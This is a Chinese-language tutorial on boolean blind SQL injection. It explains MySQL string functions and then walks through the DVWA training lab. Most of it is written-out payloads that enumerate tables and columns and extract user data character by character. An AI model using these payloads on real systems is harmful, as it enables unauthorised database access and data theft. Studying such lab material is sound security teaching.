sqli-布尔盲注
使用场景/条件
- 没有显位/回显,无法使用联合/报错
- 能根据页面的不同判断语句执行的真假
布尔盲注用到的函数
字符串函数:
- length(str)
返回字符串的长度。 - substr(a,b,c)
从b位置开始,截取字符串a的c长度
ascii(substr((select user()),1,1))=98
注意:mysql中的位置是从1开始的。 - mid(a,b,c)
从位置b开始,截取a字符串的c位
ascii(mid((select user()),1,1))=114
- left(a,b)
从左侧截取a的前b位
left(database(),1)>'s'
- ascii()
返回字符的ascii码 - ord()
ord()同ascii(),返回字符的ascii码
字符串比较函数:
- regexp
select user() regexp 'root'
正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式 - like
select user() like 'root'
与regexp类似,使用like匹配正则表达式
演示
分析
dvwa-sqli_blind
- @抑制了报错,无法报错注入
- if..else..导致回显的结果只有固定的两种,没有SQL结果的回显,无法联合注入
但是,我们可以构造语句,使得$num结果集的数量和想要执行的语句结果绑定。
演示
- 判断注入和注入类型
1
1'and 1=1#
1'and 1=2#
存在注入且注入点被单引号包裹
如果要执行的语句(1=1)结果为真,则$num结果集的数量为1,显示exists
如果要执行的语句(1=2)结果为假,则$num结果集的数量为0,显示missing - 推断库名表名字段名
猜解当前库的表的数量,count (table_name)为数量
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1# 显⽰不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# 显⽰存在,即当前库有两个表
猜解第⼀个表名长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显⽰不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显⽰不存在 ...
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显⽰存在,则第一个表名长度为9
猜解第⼀个表表名的逐个字符
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显⽰存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显⽰存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显⽰存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显⽰不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显⽰不存在
重复操作,猜解出表名为guestbook、users
猜解users表中字段的数量
1' and (select count(column_name) from information_schema.columns where table_name= 'users' and TABLE_SCHEMA=database())=1 # 显⽰不存在
…
1' and (select count(column_name) from information_schema.columns where table_name= 'users' and TABLE_SCHEMA=database())=8 # 显⽰存在,则当前库的users表中有8个字段
猜解users表中第⼀个字段的长度
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' and TABLE_SCHEMA=database() limit 0,1),1))=1 # 显⽰不存在
…
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' and TABLE_SCHEMA=database() limit 0,1),1))=7 # 显⽰存在,则users表中第一个字段长度为7
猜解users表中第⼀个字段名的逐个字符
1' and ascii(substr((select column_name from information_schema.columns where table_name= 'users' and TABLE_SCHEMA=database() limit 0,1),1,1))>97 # 显⽰存在
······
- 猜解数据
- 二分法
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>200 #
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>100 #
and ascii(substr((select user from dvwa.users limit 0,1),1,1))>50 #
······
减一半来不断缩小区间
- 暴力跑
1' and (select count(*) from users where user = 'admin') = 1 #
1' and (select count(*) from users where user = 'admin') = 2 #
1' and (select count(*) from users where user = 'admin') = 3 #
.....
脚本一直跑,跑到exists则出结果